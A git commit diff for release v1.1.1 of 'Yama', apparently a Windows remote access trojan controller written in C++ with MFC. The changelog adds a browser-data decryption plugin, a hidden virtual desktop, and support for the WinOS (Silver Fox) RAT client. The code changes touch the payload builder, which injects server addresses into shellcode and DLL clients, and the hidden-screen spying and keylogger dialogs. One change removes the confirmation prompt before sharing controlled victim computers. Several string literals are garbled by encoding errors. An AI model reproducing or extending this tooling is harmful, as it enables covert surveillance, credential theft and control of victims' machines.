Release v1.1.1
This commit is contained in:
20
ReadMe.md
20
ReadMe.md
@@ -234,6 +234,26 @@
|
|||||||
- 新增特性:支持虚拟远程桌面监控;
|
- 新增特性:支持虚拟远程桌面监控;
|
||||||
- 新增命令:支持执行代码(64位 DLL)。
|
- 新增命令:支持执行代码(64位 DLL)。
|
||||||
|
|
||||||
|
**2025.06.21**
|
||||||
|
|
||||||
|
发布 v1.1.1:
|
||||||
|
|
||||||
|
*自该版本开始,主控程序需要授权,并且会自动连接到授权服务器,您可以联系作者请求授权。
|
||||||
|
如果对这个有意见,请使用早期版本(<v1.0.8)。自行修改和编译程序,也可以解决该问题。*
|
||||||
|
|
||||||
|
- 修复:远程桌面算法不生效的问题
|
||||||
|
- 新增:添加用于操作在线客户端的菜单项
|
||||||
|
- 插件:新增远程聊天功能
|
||||||
|
- 插件:新增浏览器数据解密功能
|
||||||
|
- 插件:新增主机管理功能
|
||||||
|
- 插件:新增虚拟桌面功能
|
||||||
|
- 改进:#48 文件管理对话框支持排序
|
||||||
|
- 新功能:主控支持 WinOS(银狐) 远控客户端(RAT)
|
||||||
|
- 改进授权逻辑:支持在线授权主控端
|
||||||
|
- 新功能:支持随机或多路连接,即多个域名随机上线或并发上线
|
||||||
|
- 改进:新增弹窗以显示主机的详细信息
|
||||||
|
- 改进客户端稳定性
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
# 6.其他项目 <a id="6-other-projects"></a>
|
# 6.其他项目 <a id="6-other-projects"></a>
|
||||||
|
|||||||
23
ReadMe_EN.md
23
ReadMe_EN.md
@@ -247,6 +247,29 @@ Release v1.1.0:
|
|||||||
* feat: Support virtual remote desktop monitoring
|
* feat: Support virtual remote desktop monitoring
|
||||||
* feature: Add command to execute DLL
|
* feature: Add command to execute DLL
|
||||||
|
|
||||||
|
**2025.06.21**
|
||||||
|
|
||||||
|
Release v1.1.1:
|
||||||
|
|
||||||
|
*Starting from this version, the controller program requires authorization and
|
||||||
|
will automatically connect to the authorization server.
|
||||||
|
You may contact the author to request authorization. If you have concerns about this,
|
||||||
|
please use an earlier version (prior to v1.0.8).
|
||||||
|
Modifying and compiling the program yourself can also resolve this issue.*
|
||||||
|
|
||||||
|
* fix: remote desktop algorithm doesn't take effort
|
||||||
|
* Add some menus for operating online client
|
||||||
|
* Plugin: Add remote chat feature
|
||||||
|
* Plugin: Add browser decryption feature
|
||||||
|
* Plugin: Add host management feature
|
||||||
|
* Plugin: Add virtual desktop feature
|
||||||
|
* Improve: #48 Support sorting in file management dialog
|
||||||
|
* Feature: Support WinOS RAT client
|
||||||
|
* Improve authorization logic: Support authorize master online
|
||||||
|
* feature: Support random or multi connection
|
||||||
|
* Improvement: Add a popup window to show details
|
||||||
|
* Improve client stability
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
# 6. Related Projects
|
# 6. Related Projects
|
||||||
|
|||||||
BIN
Releases/v1.1.1/Plugins/BrowserDecrypt.dll
Normal file
BIN
Releases/v1.1.1/Plugins/BrowserDecrypt.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/HostManager.dll
Normal file
BIN
Releases/v1.1.1/Plugins/HostManager.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/RemoteChat.dll
Normal file
BIN
Releases/v1.1.1/Plugins/RemoteChat.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Plugins/VirtualDesktop.dll
Normal file
BIN
Releases/v1.1.1/Plugins/VirtualDesktop.dll
Normal file
Binary file not shown.
BIN
Releases/v1.1.1/Yama.exe
Normal file
BIN
Releases/v1.1.1/Yama.exe
Normal file
Binary file not shown.
9168
client/SCLoader.cpp
9168
client/SCLoader.cpp
File diff suppressed because it is too large
Load Diff
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,1,0
|
FILEVERSION 1,0,1,1
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.1.0"
|
VALUE "FileVersion", "1.0.1.1"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
|
|||||||
@@ -382,7 +382,7 @@ BOOL Run(const char* argv1, int argv2) {
|
|||||||
port = argv2;
|
port = argv2;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
GetPrivateProfileStringA("settings", "master", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
||||||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
||||||
}
|
}
|
||||||
Mprintf("[server] %s:%d\n", ip, port);
|
Mprintf("[server] %s:%d\n", ip, port);
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#define _CRT_SECURE_NO_WARNINGS
|
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <iosfwd>
|
#include <iosfwd>
|
||||||
|
|||||||
Binary file not shown.
@@ -168,6 +168,15 @@ END_MESSAGE_MAP()
|
|||||||
|
|
||||||
// CMy2015RemoteDlg 对话框
|
// CMy2015RemoteDlg 对话框
|
||||||
|
|
||||||
|
std::string GetDbPath() {
|
||||||
|
static char path[MAX_PATH], *name = "YAMA.db";
|
||||||
|
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
|
||||||
|
+ std::string("\\YAMA\\");
|
||||||
|
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
|
||||||
|
static std::string dbPath = ret + name;
|
||||||
|
return dbPath;
|
||||||
|
}
|
||||||
|
|
||||||
std::string GetFileName(const char* filepath) {
|
std::string GetFileName(const char* filepath) {
|
||||||
const char* slash1 = strrchr(filepath, '/');
|
const char* slash1 = strrchr(filepath, '/');
|
||||||
const char* slash2 = strrchr(filepath, '\\');
|
const char* slash2 = strrchr(filepath, '\\');
|
||||||
@@ -597,7 +606,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
|
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
if (modify)
|
if (modify)
|
||||||
SaveToFile(m_ClientMap, DB_FILENAME);
|
SaveToFile(m_ClientMap, GetDbPath());
|
||||||
auto& m = m_ClientMap[ContextObject->ID];
|
auto& m = m_ClientMap[ContextObject->ID];
|
||||||
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
|
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
|
||||||
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
|
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
|
||||||
@@ -696,17 +705,17 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="")
|
|||||||
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
|
memset(szBuffer + 2 + sizeof(int) + dwFileSize, 0, padding);
|
||||||
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
|
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
|
||||||
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
|
auto md5 = CalcMD5FromBytes(szBuffer + 2 + sizeof(int), dwFileSize);
|
||||||
if (!addr.empty()) {
|
|
||||||
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
|
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
|
||||||
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
|
int offset = MemoryFind((char*)szBuffer, s.c_str(), dwFileSize, s.length());
|
||||||
if (offset !=-1){
|
if (offset != -1) {
|
||||||
splitIpPort(addr, ip, port);
|
|
||||||
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
|
CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset);
|
||||||
|
if (!addr.empty()) {
|
||||||
|
splitIpPort(addr, ip, port);
|
||||||
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
server->SetServer(ip.c_str(), atoi(port.c_str()));
|
||||||
|
}
|
||||||
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE);
|
||||||
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
memcpy(server->pwdHash, GetPwdHash().c_str(), 64);
|
||||||
}
|
}
|
||||||
}
|
|
||||||
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
|
auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5);
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
if (srcData != pData)
|
if (srcData != pData)
|
||||||
@@ -725,7 +734,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
}
|
}
|
||||||
// 将“关于...”菜单项添加到系统菜单中。
|
// 将“关于...”菜单项添加到系统菜单中。
|
||||||
SetWindowText(_T("Yama"));
|
SetWindowText(_T("Yama"));
|
||||||
LoadFromFile(m_ClientMap, DB_FILENAME);
|
LoadFromFile(m_ClientMap, GetDbPath());
|
||||||
|
|
||||||
// IDM_ABOUTBOX 必须在系统命令范围内。
|
// IDM_ABOUTBOX 必须在系统命令范围内。
|
||||||
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
|
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
|
||||||
@@ -749,7 +758,6 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
std::string port = THIS_CFG.GetStr("settings", "ghost", "6543");
|
std::string port = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||||
std::string master = ip.empty() ? "" : ip + ":" + port;
|
std::string master = ip.empty() ? "" : ip + ":" + port;
|
||||||
const Validation* v = GetValidation();
|
const Validation* v = GetValidation();
|
||||||
m_superPass = v->Reserved;
|
|
||||||
if (!(strlen(v->Admin) && v->Port > 0)) {
|
if (!(strlen(v->Admin) && v->Port > 0)) {
|
||||||
// IMPORTANT: For authorization only.
|
// IMPORTANT: For authorization only.
|
||||||
PrintableXORCipher cipher;
|
PrintableXORCipher cipher;
|
||||||
@@ -810,7 +818,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
lvColumn.pszText = (char*)str.data();
|
lvColumn.pszText = (char*)str.data();
|
||||||
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
|
||||||
timeBeginPeriod(1);
|
timeBeginPeriod(1);
|
||||||
|
#ifdef _DEBUG
|
||||||
SetTimer(TIMER_CHECK, 60 * 1000, NULL);
|
SetTimer(TIMER_CHECK, 60 * 1000, NULL);
|
||||||
|
#else
|
||||||
|
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
|
||||||
|
#endif
|
||||||
CString tip = !ip.empty() && ip != getPublicIP() ?
|
CString tip = !ip.empty() && ip != getPublicIP() ?
|
||||||
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
|
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
|
||||||
"请设置\"公网IP\",或使用反向代理服务器的IP";
|
"请设置\"公网IP\",或使用反向代理服务器的IP";
|
||||||
@@ -939,7 +951,11 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
|||||||
{
|
{
|
||||||
if (nIDEvent == TIMER_CHECK)
|
if (nIDEvent == TIMER_CHECK)
|
||||||
{
|
{
|
||||||
if (!CheckValid())
|
if (!m_superPass.empty()) {
|
||||||
|
KillTimer(nIDEvent);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!CheckValid(-1))
|
||||||
{
|
{
|
||||||
KillTimer(nIDEvent);
|
KillTimer(nIDEvent);
|
||||||
CInputDialog dlg(this);
|
CInputDialog dlg(this);
|
||||||
@@ -1087,7 +1103,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
// 创建一个新的子菜单
|
// 创建一个新的子菜单
|
||||||
CMenu newMenu;
|
CMenu newMenu;
|
||||||
if (!newMenu.CreatePopupMenu()) {
|
if (!newMenu.CreatePopupMenu()) {
|
||||||
AfxMessageBox(_T("创建分配主控的子菜单失败!"));
|
MessageBox(_T("创建分享主机的子菜单失败!"), "提示");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1183,7 +1199,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
|
|||||||
delete[] buffer;
|
delete[] buffer;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
AfxMessageBox("读取文件失败: "+ CString(path));
|
MessageBox("读取文件失败: "+ CString(path), "提示");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1299,12 +1315,12 @@ std::string joinString(const std::vector<std::string>& tokens, char delimiter) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
bool CMy2015RemoteDlg::CheckValid() {
|
bool CMy2015RemoteDlg::CheckValid(int trail) {
|
||||||
DateVerify verify;
|
DateVerify verify;
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
BOOL isTrail = verify.isTrail(0);
|
BOOL isTrail = verify.isTrail(0);
|
||||||
#else
|
#else
|
||||||
BOOL isTrail = verify.isTrail(-1);
|
BOOL isTrail = verify.isTrail(trail);
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
if (!isTrail) {
|
if (!isTrail) {
|
||||||
@@ -1319,7 +1335,7 @@ bool CMy2015RemoteDlg::CheckValid() {
|
|||||||
|
|
||||||
auto settings = "settings", pwdKey = "Password";
|
auto settings = "settings", pwdKey = "Password";
|
||||||
// 验证口令
|
// 验证口令
|
||||||
CPasswordDlg dlg;
|
CPasswordDlg dlg(this);
|
||||||
static std::string hardwareID = getHardwareID();
|
static std::string hardwareID = getHardwareID();
|
||||||
static std::string hashedID = hashSHA256(hardwareID);
|
static std::string hashedID = hashSHA256(hardwareID);
|
||||||
static std::string deviceID = getFixedLengthID(hashedID);
|
static std::string deviceID = getFixedLengthID(hashedID);
|
||||||
@@ -1378,12 +1394,12 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
|
|||||||
// 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改!
|
// 口令包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改!
|
||||||
// 注释下面 if 语句可以屏蔽该授权逻辑.
|
// 注释下面 if 语句可以屏蔽该授权逻辑.
|
||||||
// 2025/04/20
|
// 2025/04/20
|
||||||
if (!CheckValid())
|
if (!CheckValid(365))
|
||||||
return;
|
return;
|
||||||
|
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
CBuildDlg Dlg;
|
CBuildDlg Dlg;
|
||||||
Dlg.m_strIP = THIS_CFG.GetStr("settings", "localIp", "").c_str();
|
Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
||||||
int Port = THIS_CFG.GetInt("settings", "ghost");
|
int Port = THIS_CFG.GetInt("settings", "ghost");
|
||||||
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
|
Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
|
||||||
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
|
Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
|
||||||
@@ -2447,8 +2463,6 @@ void CMy2015RemoteDlg::OnOnlineShare()
|
|||||||
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
MessageBox("字符串长度超出[0, 250]范围限制!", "提示", MB_ICONINFORMATION);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (IDYES != MessageBox(_T("确定分享选定的被控计算机吗?\n目前只能分享给同类主控程序。"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
|
|
||||||
return;
|
|
||||||
|
|
||||||
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
|
BYTE bToken[_MAX_PATH] = { COMMAND_SHARE };
|
||||||
// 目标主机类型
|
// 目标主机类型
|
||||||
@@ -2468,6 +2482,9 @@ void CMy2015RemoteDlg::OnToolAuth()
|
|||||||
dlg.m_sUserPwd = m_superPass.c_str();
|
dlg.m_sUserPwd = m_superPass.c_str();
|
||||||
|
|
||||||
dlg.DoModal();
|
dlg.DoModal();
|
||||||
|
if (!dlg.m_sUserPwd.IsEmpty()){
|
||||||
|
m_superPass = dlg.m_sUserPwd;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnMainProxy()
|
void CMy2015RemoteDlg::OnMainProxy()
|
||||||
@@ -2514,7 +2531,7 @@ void CMy2015RemoteDlg::OnOnlineHostnote()
|
|||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
if (modified) {
|
if (modified) {
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
SaveToFile(m_ClientMap, DB_FILENAME);
|
SaveToFile(m_ClientMap, GetDbPath());
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2754,7 +2771,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
|
|||||||
CComPtr<IShellFolder> spDesktop;
|
CComPtr<IShellFolder> spDesktop;
|
||||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
AfxMessageBox("Explorer 未正确初始化! 请稍后再试。");
|
MessageBox("Explorer 未正确初始化! 请稍后再试。", "提示");
|
||||||
SAFE_DELETE_ARRAY(curEXE);
|
SAFE_DELETE_ARRAY(curEXE);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -2766,7 +2783,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
|
|||||||
ret = fileDlg.DoModal();
|
ret = fileDlg.DoModal();
|
||||||
}
|
}
|
||||||
catch (...) {
|
catch (...) {
|
||||||
AfxMessageBox("文件对话框未成功打开! 请稍后再试。");
|
MessageBox("文件对话框未成功打开! 请稍后再试。", "提示");
|
||||||
SAFE_DELETE_ARRAY(curEXE);
|
SAFE_DELETE_ARRAY(curEXE);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -26,7 +26,6 @@ typedef struct DllInfo {
|
|||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
#include <unordered_map>
|
#include <unordered_map>
|
||||||
#include <fstream>
|
#include <fstream>
|
||||||
#define DB_FILENAME "./YAMA.db"
|
|
||||||
|
|
||||||
enum {
|
enum {
|
||||||
MAP_NOTE,
|
MAP_NOTE,
|
||||||
@@ -188,7 +187,7 @@ public:
|
|||||||
BOOL isClosed;
|
BOOL isClosed;
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
CBitmap m_bmOnline[12];
|
CBitmap m_bmOnline[12];
|
||||||
bool CheckValid();
|
bool CheckValid(int trail = 14);
|
||||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
void Release();
|
void Release();
|
||||||
|
|||||||
@@ -153,6 +153,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (startup != Startup_InjSC)
|
||||||
g_ConnectAddress.Encrypt();
|
g_ConnectAddress.Encrypt();
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -204,8 +205,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
}
|
}
|
||||||
File.Write(szBuffer, dwFileSize);
|
File.Write(szBuffer, dwFileSize);
|
||||||
File.Close();
|
File.Close();
|
||||||
CString tip = index == IndexTestRun_InjSC ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD>±<EFBFBD>ֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӱ<EFBFBD><EFBFBD><EFBFBD>6543<EFBFBD>˿ڡ<EFBFBD>" :
|
CString tip = index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
|
||||||
index == IndexTestRun_DLL ? "\r\n<EFBFBD><EFBFBD>ʾ: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"ServerDll.dll\"<EFBFBD><EFBFBD><EFBFBD>Ա<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>" : "";
|
|
||||||
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>! <20>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile + tip, "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
|
||||||
SAFE_DELETE_ARRAY(szBuffer);
|
SAFE_DELETE_ARRAY(szBuffer);
|
||||||
if (index == IndexTestRun_DLL) return;
|
if (index == IndexTestRun_DLL) return;
|
||||||
@@ -286,7 +286,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
|
|||||||
CComPtr<IShellFolder> spDesktop;
|
CComPtr<IShellFolder> spDesktop;
|
||||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
MessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
@@ -297,7 +297,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
|
|||||||
ret = fileDlg.DoModal();
|
ret = fileDlg.DoModal();
|
||||||
}
|
}
|
||||||
catch (...) {
|
catch (...) {
|
||||||
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>", "<EFBFBD><EFBFBD>ʾ");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (ret == IDOK)
|
if (ret == IDOK)
|
||||||
|
|||||||
@@ -162,6 +162,7 @@ void CPwdGenDlg::OnBnClickedButtonGenkey()
|
|||||||
if (pwdHash != GetPwdHash()) {
|
if (pwdHash != GetPwdHash()) {
|
||||||
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
|
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
|
||||||
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
|
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
|
||||||
|
m_sUserPwd.Empty();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
CString strBeginDate = m_StartTm.Format("%Y%m%d");
|
CString strBeginDate = m_StartTm.Format("%Y%m%d");
|
||||||
|
|||||||
@@ -142,7 +142,7 @@ bool CHideScreenSpyDlg::SaveSnapshot()
|
|||||||
LPBITMAPINFO lpbi = m_BitmapInfor_Full;
|
LPBITMAPINFO lpbi = m_BitmapInfor_Full;
|
||||||
CFile file;
|
CFile file;
|
||||||
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
|
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
|
||||||
MessageBox(_T("文件保存失败:\n") + dlg.GetPathName());
|
MessageBox(_T("文件保存失败:\n") + dlg.GetPathName(), "提示");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
// BITMAPINFO大小
|
// BITMAPINFO大小
|
||||||
@@ -474,7 +474,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (m_BitmapInfor_Full->bmiHeader.biBitCount <= 15) {
|
if (m_BitmapInfor_Full->bmiHeader.biBitCount <= 15) {
|
||||||
AfxMessageBox(_T("不支持16位及以下颜色录像!"));
|
MessageBox(_T("不支持16位及以下颜色录像!"), "提示");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -486,8 +486,8 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
m_aviFile = dlg.GetPathName();
|
m_aviFile = dlg.GetPathName();
|
||||||
|
|
||||||
if (!m_aviStream.Open(m_hWnd, m_aviFile, m_BitmapInfor_Full)) {
|
if (!m_aviStream.Open(m_hWnd, m_aviFile, m_BitmapInfor_Full)) {
|
||||||
|
MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile, "提示");
|
||||||
m_aviFile = _T("");
|
m_aviFile = _T("");
|
||||||
MessageBox(_T("Create Video(*.avi) Failed:\n") + m_aviFile);
|
|
||||||
} else {
|
} else {
|
||||||
::SetTimer(m_hWnd, 132, 250, NULL);
|
::SetTimer(m_hWnd, 132, 250, NULL);
|
||||||
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED);
|
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED);
|
||||||
|
|||||||
@@ -138,7 +138,7 @@ bool CKeyBoardDlg::SaveRecord()
|
